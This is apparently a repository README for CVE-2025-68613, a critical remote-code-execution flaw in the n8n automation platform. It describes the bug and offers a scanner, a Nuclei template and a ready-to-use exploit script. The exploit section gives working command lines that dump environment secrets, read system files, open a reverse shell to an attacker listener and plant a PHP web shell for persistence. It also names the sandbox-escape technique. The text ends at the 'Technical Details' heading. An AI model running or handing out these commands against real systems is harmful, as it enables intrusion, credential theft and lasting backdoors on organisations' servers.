🚨 CVE-2025-68613: Critical RCE Vulnerability in n8n

Table of Contents

1. Overview
2. What is n8n?
3. Vulnerability Basics
4. Technical Details
5. Affected Versions
6. Exploitation Mechanics
7. Real-World Impact
8. Detection Methods
9. Remediation & Mitigation
10. Resources & References

---

Overview

CVE-2025-68613 is a critical Remote Code Execution (RCE) vulnerability discovered in n8n, a popular open-source workflow automation platform. This vulnerability allows authenticated users to execute arbitrary code on the server, potentially leading to complete system compromise.

Quick Facts

• CVE ID: CVE-2025-68613
• CVSS Score: 9.9 - 10.0 (Critical)
• Vulnerability Type: Expression Injection → Remote Code Execution
• CWE: CWE-913 (Improper Control of Dynamically-Managed Code Resources)
• Attack Vector: Network
• Authentication Required: Yes (Low privilege - no admin access needed) |- Status: Proof of Concept available (verified working on v1.121.0)

---

What is n8n?

n8n is an open-source workflow automation platform that allows users to:

• Connect various APIs, databases, and services
• Automate repetitive business processes
• Create complex workflows without extensive coding
• Deploy on-premises or in the cloud

Why n8n is Critical Infrastructure

Organizations use n8n to:

• Integrate databases with cloud services
• Automate data processing pipelines
• Connect CRMs, ERPs, and internal systems
• Manage sensitive data and API credentials

This central role in IT infrastructure makes vulnerabilities particularly dangerous, as they can provide attackers with access to entire networks and sensitive data.

---

Tools in This Repository

This repository includes ready-to-use tools for vulnerability detection and exploitation testing:

1. Scanner: cve-2025-68613-scanner.py

Purpose: Safe, non-exploiting detection of vulnerable n8n instances

Features:

• Passive version detection from HTTP responses
• No authentication required
• No payload execution
• Checks multiple common paths (/, /rest/settings, /healthz, /api/v1/health)
• Safe for authorized security assessments

Usage:

python3 cve-2025-68613-scanner.py -u http://target:5678

Output:

• Exit code 0: Not vulnerable
• Exit code 1: Version undetermined (may be patched or hidden)
• Exit code 2: Vulnerable version detected

2. Nuclei Template: CVE-2025-68613.yaml

Purpose: Automated vulnerability detection and basic expression evaluation testing

Features:

• Requires valid authentication token
• Tests expression injection capability
• Attempts to read Node.js global context (process.platform)
• Creates test workflows to validate RCE vector
• CVSS 10.0 Critical severity classification

Usage:

# Single target with known token
nuclei -t CVE-2025-68613.yaml -u http://target:5678 -v

# Multiple targets
nuclei -t CVE-2025-68613.yaml -l targets.txt

3. Full Exploit: exploit_cve-2025-68613.py

Purpose: Complete proof-of-concept exploit with multiple attack payloads

Features:

• Full authentication handling
• Multiple exploitation payloads:
  • info: Gather system information (OS, architecture, Node.js version, current user)
  • cmd: Execute arbitrary system commands
  • env: Extract all environment variables (reveals credentials, API keys, secrets)
  • read: Read sensitive files from filesystem (SSH keys, config files, etc.)
  • write: Write files to filesystem (persistence, backdoors, etc.)
  • revshell: Establish reverse shell connection for interactive access
• Automatic workflow cleanup
• Error handling and status reporting

Requirements:

• Valid n8n user credentials (email/password)
• Python 3.6+ with requests library
• Network access to target n8n instance

Installation:

pip install requests
chmod +x exploit_cve-2025-68613.py

Usage Examples:

# Gather system information
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload info

# Execute system command (whoami)
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload cmd --command "whoami"

# Extract all environment variables (credentials, API keys)
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload env

# Read sensitive files
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload read --file "/etc/passwd"

# Establish reverse shell (requires netcat listener)
# On attacker machine: nc -lvnp 4444
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload revshell --lhost 10.10.14.5 --lport 4444

# Write a web shell for persistence
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload write \  
  --file "/tmp/shell.php" --content '<?php system($_GET["cmd"]); ?>'

How It Works:

1. Authenticates to n8n using provided credentials
2. Creates a malicious workflow with expression injection payload
3. The payload breaks out of expression sandbox using this.constructor.constructor()
4. Executes the payload via process.platform or other Node.js APIs
5. Retrieves results from workflow execution
6. Cleans up by deleting the test workflow

Exit Codes:

• 0: Successful exploitation
• 1: Authentication or exploitation failed

---

Vulnerability Basics

What's the Problem?

In simple terms: n8n allows users to write expressions in workflows to process data dynamically. However, these expressions are evaluated without proper sandboxing, allowing attackers to break out of the intended execution context and run arbitrary code on the server.

The Core Issue

When you create a workflow in n8n, you can use "expressions" to manipulate data. These expressions are supposed to run in a restricted environment. However, the vulnerability shows that these expressions can access the underlying system, allowing an attacker to:

1. Execute system commands
2. Read/write files on the server
3. Steal environment variables (API keys, passwords, secrets)
4. Modify or delete data
5. Establish persistence for long-term access

Why It's So Dangerous

• Low Barrier to Entry: Only requires a user login (no special admin privileges)
• Wide Applicability: Many organizations allow non-technical users to create workflows
• High Impact: Runs with full privileges of the n8n process
• Data Access: Can access all data n8n has access to (databases, APIs, credentials)
• Network Position: n8n often sits in the center of critical infrastructure, enabling lateral movement

---

Technical Details